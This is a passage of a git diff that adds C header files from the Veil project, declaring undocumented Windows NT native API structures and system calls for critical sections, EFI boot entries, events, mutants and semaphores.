+ CommunicationServer, + TerminalServer, + SmallBusinessRestricted, + EmbeddedNT, + DataCenter, + SingleUserTS, + Personal, + Blade, + EmbeddedRestricted, + SecurityAppliance, + StorageServer, + ComputeServer, + WHServer, + PhoneNT, + MultiUserTS, + MaxSuiteType +} SUITE_TYPE; + +#endif // _NTDEF + +#if defined(_KERNEL_MODE) && (WDK_NTDDI_VERSION <= NTDDI_WIN10_19H1) +typedef STRING UTF8_STRING; +typedef PSTRING PUTF8_STRING; +#endif + +// +// Critical Section +// + +#ifdef _KERNEL_MODE +typedef struct _RTL_CRITICAL_SECTION_DEBUG +{ + UINT16 Type; + UINT16 CreatorBackTraceIndex; + struct _RTL_CRITICAL_SECTION* CriticalSection; + LIST_ENTRY ProcessLocksList; + UINT32 EntryCount; + UINT32 ContentionCount; + UINT32 Flags; + UINT16 CreatorBackTraceIndexHigh; + UINT16 SpareWORD; +} RTL_CRITICAL_SECTION_DEBUG, * PRTL_CRITICAL_SECTION_DEBUG, RTL_RESOURCE_DEBUG, * PRTL_RESOURCE_DEBUG; + +// +// These flags define the upper byte of the critical section SpinCount field +// +#define RTL_CRITICAL_SECTION_FLAG_NO_DEBUG_INFO 0x01000000 +#define RTL_CRITICAL_SECTION_FLAG_DYNAMIC_SPIN 0x02000000 +#define RTL_CRITICAL_SECTION_FLAG_STATIC_INIT 0x04000000 +#define RTL_CRITICAL_SECTION_FLAG_RESOURCE_TYPE 0x08000000 +#define RTL_CRITICAL_SECTION_FLAG_FORCE_DEBUG_INFO 0x10000000 +#define RTL_CRITICAL_SECTION_ALL_FLAG_BITS 0xFF000000 +#define RTL_CRITICAL_SECTION_FLAG_RESERVED (RTL_CRITICAL_SECTION_ALL_FLAG_BITS & (~(RTL_CRITICAL_SECTION_FLAG_NO_DEBUG_INFO | RTL_CRITICAL_SECTION_FLAG_DYNAMIC_SPIN | RTL_CRITICAL_SECTION_FLAG_STATIC_INIT | RTL_CRITICAL_SECTION_FLAG_RESOURCE_TYPE | RTL_CRITICAL_SECTION_FLAG_FORCE_DEBUG_INFO))) + +// +// These flags define possible values stored in the Flags field of a critsec debuginfo. +// +#define RTL_CRITICAL_SECTION_DEBUG_FLAG_STATIC_INIT 0x00000001 + +#pragma pack(push, 8) +typedef struct _RTL_CRITICAL_SECTION +{ + PRTL_CRITICAL_SECTION_DEBUG DebugInfo; + + // + // The following three fields control entering and exiting the critical + // section for the resource + // + + LONG LockCount; + LONG RecursionCount; + HANDLE OwningThread; // from the thread's ClientId->UniqueThread + HANDLE LockSemaphore; + ULONG_PTR SpinCount; // force size on 64-bit systems when packed +} RTL_CRITICAL_SECTION, * PRTL_CRITICAL_SECTION; +#pragma pack(pop) + +typedef struct _RTL_SRWLOCK +{ + PVOID Ptr; +} RTL_SRWLOCK, * PRTL_SRWLOCK; +#define RTL_SRWLOCK_INIT {0} + +typedef struct _RTL_CONDITION_VARIABLE +{ + PVOID Ptr; +} RTL_CONDITION_VARIABLE, * PRTL_CONDITION_VARIABLE; +#define RTL_CONDITION_VARIABLE_INIT {0} +#define RTL_CONDITION_VARIABLE_LOCKMODE_SHARED 0x1 + +#endif // _KERNEL_MODE + +// +// Specific +// + +#ifndef _KERNEL_MODE +typedef struct _CLIENT_ID +{ + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, * PCLIENT_ID; + +#include +typedef struct _KSYSTEM_TIME +{ + ULONG LowPart; + LONG High1Time; + LONG High2Time; +} KSYSTEM_TIME, * PKSYSTEM_TIME; +#include +#endif // _KERNEL_MODE + +#ifndef _FILETIME_ +#define _FILETIME_ +typedef struct _FILETIME { + UINT32 dwLowDateTime; + UINT32 dwHighDateTime; +} FILETIME, * PFILETIME, * LPFILETIME; +#endif + +// +// This isn't in NT, but it's useful. +// + +typedef struct _CLIENT_ID32 +{ + ULONG UniqueProcess; + ULONG UniqueThread; +} CLIENT_ID32, * PCLIENT_ID32; + +typedef struct _CLIENT_ID64 +{ + ULONGLONG UniqueProcess; + ULONGLONG UniqueThread; +} CLIENT_ID64, * PCLIENT_ID64; + +typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT) _QUAD_PTR +{ + ULONG_PTR DoNotUseThisField1; + ULONG_PTR DoNotUseThisField2; +} QUAD_PTR, * PQUAD_PTR; + +typedef struct _LARGE_INTEGER_128 +{ + LONGLONG QuadPart[2]; +} LARGE_INTEGER_128, * PLARGE_INTEGER_128; + + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.Executive.h b/include/Veil/Veil/Veil.System.Executive.h new file mode 100644 index 0000000..b86b5df --- /dev/null +++ b/include/Veil/Veil/Veil.System.Executive.h @@ -0,0 +1,6485 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +// +// Thread execution +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDelayExecution( + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER DelayInterval +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDelayExecution( + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER DelayInterval +); + +// +// Environment values +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValue( + _In_ PUNICODE_STRING VariableName, + _Out_writes_bytes_(ValueLength) PWSTR VariableValue, + _In_ USHORT ValueLength, + _Out_opt_ PUSHORT ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySystemEnvironmentValue( + _In_ PUNICODE_STRING VariableName, + _Out_writes_bytes_(ValueLength) PWSTR VariableValue, + _In_ USHORT ValueLength, + _Out_opt_ PUSHORT ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemEnvironmentValue( + _In_ PUNICODE_STRING VariableName, + _In_ PUNICODE_STRING VariableValue +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetSystemEnvironmentValue( + _In_ PUNICODE_STRING VariableName, + _In_ PUNICODE_STRING VariableValue +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValueEx( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _Out_writes_bytes_opt_(*ValueLength) PVOID Value, + _Inout_ PULONG ValueLength, + _Out_opt_ PULONG Attributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySystemEnvironmentValueEx( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _Out_writes_bytes_opt_(*ValueLength) PVOID Value, + _Inout_ PULONG ValueLength, + _Out_opt_ PULONG Attributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemEnvironmentValueEx( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _In_reads_bytes_opt_(ValueLength) PVOID Value, + _In_ ULONG ValueLength, + _In_ ULONG Attributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetSystemEnvironmentValueEx( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _In_reads_bytes_opt_(ValueLength) PVOID Value, + _In_ ULONG ValueLength, + _In_ ULONG Attributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateSystemEnvironmentValuesEx( + _In_ ULONG InformationClass, + _Out_ PVOID Buffer, + _Inout_ PULONG BufferLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwEnumerateSystemEnvironmentValuesEx( + _In_ ULONG InformationClass, + _Out_ PVOID Buffer, + _Inout_ PULONG BufferLength +); + +// +// EFI +// + +// private +typedef struct _BOOT_ENTRY +{ + ULONG Version; + ULONG Length; + ULONG Id; + ULONG Attributes; + ULONG FriendlyNameOffset; + ULONG BootFilePathOffset; + ULONG OsOptionsLength; + UCHAR OsOptions[1]; +} BOOT_ENTRY, * PBOOT_ENTRY; + +// private +typedef struct _BOOT_ENTRY_LIST +{ + ULONG NextEntryOffset; + BOOT_ENTRY BootEntry; +} BOOT_ENTRY_LIST, * PBOOT_ENTRY_LIST; + +// private +typedef struct _BOOT_OPTIONS +{ + ULONG Version; + ULONG Length; + ULONG Timeout; + ULONG CurrentBootEntryId; + ULONG NextBootEntryId; + WCHAR HeadlessRedirection[1]; +} BOOT_OPTIONS, * PBOOT_OPTIONS; + +// private +typedef struct _FILE_PATH +{ + ULONG Version; + ULONG Length; + ULONG Type; + UCHAR FilePath[1]; +} FILE_PATH, * PFILE_PATH; + +// private +typedef struct _EFI_DRIVER_ENTRY +{ + ULONG Version; + ULONG Length; + ULONG Id; + ULONG FriendlyNameOffset; + ULONG DriverFilePathOffset; +} EFI_DRIVER_ENTRY, * PEFI_DRIVER_ENTRY; + +// private +typedef struct _EFI_DRIVER_ENTRY_LIST +{ + ULONG NextEntryOffset; + EFI_DRIVER_ENTRY DriverEntry; +} EFI_DRIVER_ENTRY_LIST, * PEFI_DRIVER_ENTRY_LIST; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAddBootEntry( + _In_ PBOOT_ENTRY BootEntry, + _Out_opt_ PULONG Id +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAddBootEntry( + _In_ PBOOT_ENTRY BootEntry, + _Out_opt_ PULONG Id +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteBootEntry( + _In_ ULONG Id +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteBootEntry( + _In_ ULONG Id +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtModifyBootEntry( + _In_ PBOOT_ENTRY BootEntry +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwModifyBootEntry( + _In_ PBOOT_ENTRY BootEntry +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateBootEntries( + _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer, + _Inout_ PULONG BufferLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwEnumerateBootEntries( + _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer, + _Inout_ PULONG BufferLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryBootEntryOrder( + _Out_writes_opt_(*Count) PULONG Ids, + _Inout_ PULONG Count +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryBootEntryOrder( + _Out_writes_opt_(*Count) PULONG Ids, + _Inout_ PULONG Count +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetBootEntryOrder( + _In_reads_(Count) PULONG Ids, + _In_ ULONG Count +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetBootEntryOrder( + _In_reads_(Count) PULONG Ids, + _In_ ULONG Count +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryBootOptions( + _Out_writes_bytes_opt_(*BootOptionsLength) PBOOT_OPTIONS BootOptions, + _Inout_ PULONG BootOptionsLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryBootOptions( + _Out_writes_bytes_opt_(*BootOptionsLength) PBOOT_OPTIONS BootOptions, + _Inout_ PULONG BootOptionsLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetBootOptions( + _In_ PBOOT_OPTIONS BootOptions, + _In_ ULONG FieldsToChange +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetBootOptions( + _In_ PBOOT_OPTIONS BootOptions, + _In_ ULONG FieldsToChange +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtTranslateFilePath( + _In_ PFILE_PATH InputFilePath, + _In_ ULONG OutputType, + _Out_writes_bytes_opt_(*OutputFilePathLength) PFILE_PATH OutputFilePath, + _Inout_opt_ PULONG OutputFilePathLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwTranslateFilePath( + _In_ PFILE_PATH InputFilePath, + _In_ ULONG OutputType, + _Out_writes_bytes_opt_(*OutputFilePathLength) PFILE_PATH OutputFilePath, + _Inout_opt_ PULONG OutputFilePathLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAddDriverEntry( + _In_ PEFI_DRIVER_ENTRY DriverEntry, + _Out_opt_ PULONG Id +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAddDriverEntry( + _In_ PEFI_DRIVER_ENTRY DriverEntry, + _Out_opt_ PULONG Id +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteDriverEntry( + _In_ ULONG Id +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteDriverEntry( + _In_ ULONG Id +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtModifyDriverEntry( + _In_ PEFI_DRIVER_ENTRY DriverEntry +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwModifyDriverEntry( + _In_ PEFI_DRIVER_ENTRY DriverEntry +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateDriverEntries( + _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer, + _Inout_ PULONG BufferLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwEnumerateDriverEntries( + _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer, + _Inout_ PULONG BufferLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDriverEntryOrder( + _Out_writes_opt_(*Count) PULONG Ids, + _Inout_ PULONG Count +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDriverEntryOrder( + _Out_writes_opt_(*Count) PULONG Ids, + _Inout_ PULONG Count +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetDriverEntryOrder( + _In_reads_(Count) PULONG Ids, + _In_ ULONG Count +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetDriverEntryOrder( + _In_reads_(Count) PULONG Ids, + _In_ ULONG Count +); + + +typedef enum _FILTER_BOOT_OPTION_OPERATION +{ + FilterBootOptionOperationOpenSystemStore, + FilterBootOptionOperationSetElement, + FilterBootOptionOperationDeleteElement, + FilterBootOptionOperationMax +} FILTER_BOOT_OPTION_OPERATION; + +#if (NTDDI_VERSION >= NTDDI_WIN10) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFilterBootOption( + _In_ FILTER_BOOT_OPTION_OPERATION FilterOperation, + _In_ ULONG ObjectType, + _In_ ULONG ElementType, + _In_reads_bytes_opt_(DataSize) PVOID Data, + _In_ ULONG DataSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFilterBootOption( + _In_ FILTER_BOOT_OPTION_OPERATION FilterOperation, + _In_ ULONG ObjectType, + _In_ ULONG ElementType, + _In_reads_bytes_opt_(DataSize) PVOID Data, + _In_ ULONG DataSize +); +#endif + +// +// Event +// + +#define EVENT_QUERY_STATE 0x0001 +#define EVENT_MODIFY_STATE 0x0002 +#define EVENT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +typedef enum _EVENT_INFORMATION_CLASS +{ + EventBasicInformation +} EVENT_INFORMATION_CLASS; + +typedef struct _EVENT_BASIC_INFORMATION +{ + EVENT_TYPE EventType; + LONG EventState; +} EVENT_BASIC_INFORMATION, * PEVENT_BASIC_INFORMATION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ EVENT_TYPE EventType, + _In_ BOOLEAN InitialState +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ EVENT_TYPE EventType, + _In_ BOOLEAN InitialState +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetEventBoostPriority( + _In_ HANDLE EventHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetEventBoostPriority( + _In_ HANDLE EventHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtClearEvent( + _In_ HANDLE EventHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwClearEvent( + _In_ HANDLE EventHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtResetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwResetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtPulseEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwPulseEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryEvent( + _In_ HANDLE EventHandle, + _In_ EVENT_INFORMATION_CLASS EventInformationClass, + _Out_writes_bytes_(EventInformationLength) PVOID EventInformation, + _In_ ULONG EventInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryEvent( + _In_ HANDLE EventHandle, + _In_ EVENT_INFORMATION_CLASS EventInformationClass, + _Out_writes_bytes_(EventInformationLength) PVOID EventInformation, + _In_ ULONG EventInformationLength, + _Out_opt_ PULONG ReturnLength +); + +// +// Event Pair +// + +#define EVENT_PAIR_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE) + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetLowEventPair( + _In_ HANDLE EventPairHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetLowEventPair( + _In_ HANDLE EventPairHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetHighEventPair( + _In_ HANDLE EventPairHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetHighEventPair( + _In_ HANDLE EventPairHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitLowEventPair( + _In_ HANDLE EventPairHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitLowEventPair( + _In_ HANDLE EventPairHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitHighEventPair( + _In_ HANDLE EventPairHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitHighEventPair( + _In_ HANDLE EventPairHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetLowWaitHighEventPair( + _In_ HANDLE EventPairHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetLowWaitHighEventPair( + _In_ HANDLE EventPairHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetHighWaitLowEventPair( + _In_ HANDLE EventPairHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetHighWaitLowEventPair( + _In_ HANDLE EventPairHandle +); + +// +// Mutant +// + +typedef enum _MUTANT_INFORMATION_CLASS +{ + MutantBasicInformation, // MUTANT_BASIC_INFORMATION + MutantOwnerInformation // MUTANT_OWNER_INFORMATION +} MUTANT_INFORMATION_CLASS; + +typedef struct _MUTANT_BASIC_INFORMATION +{ + LONG CurrentCount; + BOOLEAN OwnedByCaller; + BOOLEAN AbandonedState; +} MUTANT_BASIC_INFORMATION, * PMUTANT_BASIC_INFORMATION; + +typedef struct _MUTANT_OWNER_INFORMATION +{ + CLIENT_ID ClientId; +} MUTANT_OWNER_INFORMATION, * PMUTANT_OWNER_INFORMATION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN InitialOwner +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN InitialOwner +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseMutant( + _In_ HANDLE MutantHandle, + _Out_opt_ PLONG PreviousCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReleaseMutant( + _In_ HANDLE MutantHandle, + _Out_opt_ PLONG PreviousCount +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryMutant( + _In_ HANDLE MutantHandle, + _In_ MUTANT_INFORMATION_CLASS MutantInformationClass, + _Out_writes_bytes_(MutantInformationLength) PVOID MutantInformation, + _In_ ULONG MutantInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryMutant( + _In_ HANDLE MutantHandle, + _In_ MUTANT_INFORMATION_CLASS MutantInformationClass, + _Out_writes_bytes_(MutantInformationLength) PVOID MutantInformation, + _In_ ULONG MutantInformationLength, + _Out_opt_ PULONG ReturnLength +); + +// +// Semaphore +// + +#define SEMAPHORE_QUERY_STATE 0x0001 +#define SEMAPHORE_MODIFY_STATE 0x0002 +#define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +typedef enum _SEMAPHORE_INFORMATION_CLASS +{ + SemaphoreBasicInformation +} SEMAPHORE_INFORMATION_CLASS; + +typedef struct _SEMAPHORE_BASIC_INFORMATION +{ + LONG CurrentCount; + LONG MaximumCount; +} SEMAPHORE_BASIC_INFORMATION, * PSEMAPHORE_BASIC_INFORMATION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ LONG InitialCount, + _In_ LONG MaximumCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ LONG InitialCount, + _In_ LONG MaximumCount +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseSemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ LONG ReleaseCount, + _Out_opt_ PLONG PreviousCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReleaseSemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ LONG ReleaseCount, + _Out_opt_ PLONG PreviousCount +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + _Out_writes_bytes_(SemaphoreInformationLength) PVOID SemaphoreInformation, + _In_ ULONG SemaphoreInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + _Out_writes_bytes_(SemaphoreInformationLength) PVOID SemaphoreInformation, + _In_ ULONG SemaphoreInformationLength, + _Out_opt_ PULONG ReturnLength +); + +// +// 